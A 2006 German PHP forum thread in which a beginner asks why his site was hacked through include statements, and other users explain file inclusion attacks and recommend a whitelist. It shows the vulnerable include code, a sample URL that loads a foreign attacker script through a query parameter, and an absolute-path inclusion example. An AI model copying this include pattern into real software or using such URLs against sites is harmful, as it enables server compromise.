php-resource



Zurück   PHP-Scripte PHP-Tutorials PHP-Jobs und vieles mehr > Entwicklung > PHP Developer Forum
 

Login

 
eingeloggt bleiben
star Jetzt registrieren   star Passwort vergessen
 

 

 


PHP Developer Forum Hier habt ihr die Möglichkeit, eure Skriptprobleme mit anderen Anwendern zu diskutieren. Seid so fair und beantwortet auch Fragen von anderen Anwendern. Dieses Forum ist sowohl für ANFÄNGER als auch für PHP-Profis! Fragen zu Laravel, YII oder anderen PHP-Frameworks.

Antwort
 
LinkBack Themen-Optionen Thema bewerten
  #1 (permalink)  
Alt 15-05-2006, 09:56
Javanoth
 Newbie
Links : Onlinestatus : Javanoth ist offline
Registriert seit: May 2006
Beiträge: 2
Javanoth ist zur Zeit noch ein unbeschriebenes Blatt
Standard Sicherheitsproblem (Include)

Hi,

ich weiß, das Thema ist schon des öfteren Besprochen worden, allerdings bin ich eben ein absoluter Anfänger in der PHP Programmierung und kann deswegen relativ wenig mit dem ganzen anfangen.

Ich bräuchte eine Konkrete und (leider) schnelle Lösung für mein Problem.

Ich bin in der Nacht auf heute von meinem Provider angeschrieben worden, das über eine Seite von mir ein Hackangriff gestartet wurde, und in der Tat hab ich einige PERL Scripte auf meinem Server gefunden die nicht von mir sind (Backdoor Trojaner ).

Laut meinem Provider ging der Angriff über einen Include Befehl auf der Seite von statten.

Ich binde auf meiner index.php Seite 2 Inhalte über Include befehle ein.

1) Den Inhalt
2) Unterschiedliche Navigationsebenen

Für den Inhalt sieht der Code wie folgt aus:


PHP-Code:
<? 
  
if (strpos($open'://') !== FALSE || strpos($open'../') !== FALSE)
  die(
'Nicht erlaubte Anweisung. Klicken sie <a href="/index.php">hier</a> 
um auf die Hauptseite zurück zu kehren'
);
  if (
$open) {include($open);}
  else {include(
"docs/main.php");}
?>
Im Navigationsbereich sieht es so aus:

PHP-Code:

<?
  
if (strpos($menulev'://') !== FALSE || strpos($menulev'../') !== FALSE)
  die(
'Nicht erlaubte Anweisung. Klicken sie <a href="/index.php">hier</a>
 um auf die Hauptseite zurück zu kehren'
); 
  
chdir (menulev);
  if (
$menulev)
  {include(
$menulev);} 
  else {include(
"1.php");}
  
?>
Laut Provider ist der Angriff über den 2. Code Bereich erfolgt. Ich kann es mir leider nicht erklären, da ich der Meinung bin das mit meinem Script keine fremde Seite eingebunden werden kann.

Die Seite um die es geht heißt: http://www.ueberlebensschule-tirol.at

Kann mir bitte jemand helfen? Es wäre recht dringend.

Ich arbeite im Augenblick eh an einer neuen Version der Seite (Typo3), da sollte das alles behoben sein. Aber für den jetzigen Zeitraum bräuchte ich ne Lösung.

Danke für die Hilfe,

Javanoth

Geändert von Javanoth (15-05-2006 um 11:55 Uhr)
Mit Zitat antworten
  #2 (permalink)  
Alt 15-05-2006, 10:12
TobiaZ
  Moderator
Links : Onlinestatus : TobiaZ ist offline
Registriert seit: Jan 2001
Ort: MUC und MGL, Germany
Beiträge: 34.421
Blog-Einträge: 1
TobiaZ befindet sich auf einem aufstrebenden Ast
Standard

Als erstes mal bitte unsere Regeln lesen und den Code umbrechen/kürzen.
__________________
ERST LESEN: Unsere Regeln. | Ich hab schon Pferde kotzen sehn!

READ THIS: Strings richtig trennen/verbinden | JOINs, das leidige Thema | Wegwerf E-Mail Adressen

Ich werde keinen privaten 1:1 Support leisten, außer ich biete ihn ausdrücklich an.

Wenn man sich selbst als "Noob" bezeichnet, sollte man die Finger davon lassen.
Wenn man gewillt ist daran etwas zu ändern, lernt man Grundlagen!
Mit Zitat antworten
  #3 (permalink)  
Alt 15-05-2006, 10:34
muh (newbie)
 Junior Member
Links : Onlinestatus : muh (newbie) ist offline
Registriert seit: May 2006
Beiträge: 185
muh (newbie) ist zur Zeit noch ein unbeschriebenes Blatt
Standard

standardangriff, deine Variablen $open und $menulev kommen von aussen, aus dem
querystring nach dem ?, z.B. kann deine Seite so aufgerufen werden.
www.deineseite.com/index.php?menulev=http://fremdeseite.de/angriff.php


Du selber rufst sie mit klicks.
www.deineseite.com/index.php?menulev=hallenklettern.php .

Du musst absichern, dass nur deine Seiten im menulev sind und keine http://
Mit Zitat antworten
  #4 (permalink)  
Alt 15-05-2006, 10:42
thommyk
 Registrierter Benutzer
Links : Onlinestatus : thommyk ist offline
Registriert seit: Aug 2003
Ort: Münster
Beiträge: 255
thommyk ist zur Zeit noch ein unbeschriebenes Blatt
Standard

$menulev und $open sind GET-Variablen.
Wenn Du die nicht besser prüfst, kann man da alles möglich includieren, dass im selben Verzeichnis liegt bzw über den ABSOLUTEN Serverpfad auch ALLES andere (sofern man ihn kennt).

Mach Dir doch ein Array, welche Skripte erlaubt sind fürs include und prüf dann mit in_array

Zitat:
Du musst absichern, dass nur deine Seiten im menulev sind und keine http://
Das hat er ja immerhin mit strpos($menuelev, '://') gemacht!
__________________
Die zehn Gebote sind deswegen so kurz und logisch, weil sie ohne Mitwirkung von Juristen zustande gekommen sind. (Charles de Gaulle)
Mit Zitat antworten
  #5 (permalink)  
Alt 15-05-2006, 10:43
muh (newbie)
 Junior Member
Links : Onlinestatus : muh (newbie) ist offline
Registriert seit: May 2006
Beiträge: 185
muh (newbie) ist zur Zeit noch ein unbeschriebenes Blatt
Standard

Ich seh gerade dass Du :// abprüfst.

Was sagt das log? die Angriffszeile sollte doch im log sein.

oder in der Botschaft des providers.

Geändert von muh (newbie) (15-05-2006 um 10:46 Uhr)
Mit Zitat antworten
  #6 (permalink)  
Alt 15-05-2006, 10:47
thommyk
 Registrierter Benutzer
Links : Onlinestatus : thommyk ist offline
Registriert seit: Aug 2003
Ort: Münster
Beiträge: 255
thommyk ist zur Zeit noch ein unbeschriebenes Blatt
Standard

Es geht ja auch mit
PHP-Code:
www.deineseite.com/index.php?menulev=/absoluter/pfad/zum/perlskript.pl 
__________________
Die zehn Gebote sind deswegen so kurz und logisch, weil sie ohne Mitwirkung von Juristen zustande gekommen sind. (Charles de Gaulle)
Mit Zitat antworten
  #7 (permalink)  
Alt 15-05-2006, 12:00
Javanoth
 Newbie
Links : Onlinestatus : Javanoth ist offline
Registriert seit: May 2006
Beiträge: 2
Javanoth ist zur Zeit noch ein unbeschriebenes Blatt
Standard

sorry,

hab den code nun angepasst.

ich habe den fehler auch schon gefunden. ich habe eine include angabe vergessen und nun auch diese abgesichert.

nun sollte es eigentlich nicht mehr möglich sein, die seite zu hacken, da alle includes die ausgeführt werden, überprüfft werden ob :// oder ../ in der url vorkommen. dies sollte eigentlich nun verhindert werden.

wegen dem absoluten pfad:

naja, da muss das aber schon auf meinem rechner (server) liegen.. also die seite muss schon gehackt worden sein, oder?
Mit Zitat antworten
  #8 (permalink)  
Alt 15-05-2006, 14:02
muh (newbie)
 Junior Member
Links : Onlinestatus : muh (newbie) ist offline
Registriert seit: May 2006
Beiträge: 185
muh (newbie) ist zur Zeit noch ein unbeschriebenes Blatt
Standard

dann lag es also gar nicht an den beiden publizierten includes.

Was die absoluten Pfade betrifft, ist das Sache des hosters und wäre im php sehr mühsam abzusichern , oder täusche ich mich?
Mit Zitat antworten
  #9 (permalink)  
Alt 15-05-2006, 15:34
thommyk
 Registrierter Benutzer
Links : Onlinestatus : thommyk ist offline
Registriert seit: Aug 2003
Ort: Münster
Beiträge: 255
thommyk ist zur Zeit noch ein unbeschriebenes Blatt
Standard

Zitat:
Original geschrieben von Javanoth

naja, da muss das aber schon auf meinem rechner (server) liegen.. also die seite muss schon gehackt worden sein, oder?

und in der Tat hab ich einige PERL Scripte auf meinem Server gefunden die nicht von mir sind
Na, was denn nun? Wenns fremde Skripte auf deinem Server -d.h. doch wohl in deinem Account - gegeben hat, ist der Server doch schon "gehackt" und man kann die immer noch ohne weiteres mit Deinem include einbinden, so wie es jetzt ist.

Ich würde mich da mit einer Whitelist von erlaubten Skripten absichern. Alles andere fliegt raus.
__________________
Die zehn Gebote sind deswegen so kurz und logisch, weil sie ohne Mitwirkung von Juristen zustande gekommen sind. (Charles de Gaulle)
Mit Zitat antworten
Antwort

Lesezeichen


Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
 

Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an


PHP News

Die RIGID-FLEX-Technologie
Die RIGID-FLEX-TechnologieDie sogenannte "Flexible Elektronik" , oftmals auch als "Flexible Schaltungen" bezeichnet, ist eine zeitgemäße Technologie zum Montieren von elektronischen Schaltungen.

06.12.2018 | Berni

ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlicht
ebiz-trader 7.5.0 mit PHP7 Unterstützung veröffentlichtDie bekannte Marktplatzsoftware ebiz-trader ist in der Version 7.5.0 veröffentlicht worden.

28.05.2018 | Berni


 

Aktuelle PHP Scripte

Adsman Pro - Werbe-Manager V.1.1.0

Mit ADSMAN PRO haben Sie die Marketinglösung für eine effektive und effiziente Werbeschaltung mit messbaren Ergebnissen. Unterstützt werden Bannerformate in beliebigem Format, Textanzeigen und Page-Peels mit umfangreichen Text und Flash-Effekte.

30.07.2019 rhs | Kategorie: PHP/ Bannerverwaltung
HeidiSQL - kostenloses MySQL front-end Editor für Windows ansehen HeidiSQL - kostenloses MySQL front-end Editor für Windows

HeidiSQL - ist ein Windows-Editor für die bekannt open Source Datenbank mySQL

30.07.2019 Berni | Kategorie: MYSQL/ Management
Top-Side.de Php Guest Book

Gästebuch mit Smilies, Ip Sperre und Spammschutz. Anzeige von Datum, Name, E-Mail, Homepage und Icq. Html ist deaktiviert.

26.07.2019 webmaster10 | Kategorie: PHP/ Gaestebuch
 Alle PHP Scripte anzeigen

Alle Zeitangaben in WEZ +2. Es ist jetzt 11:40 Uhr.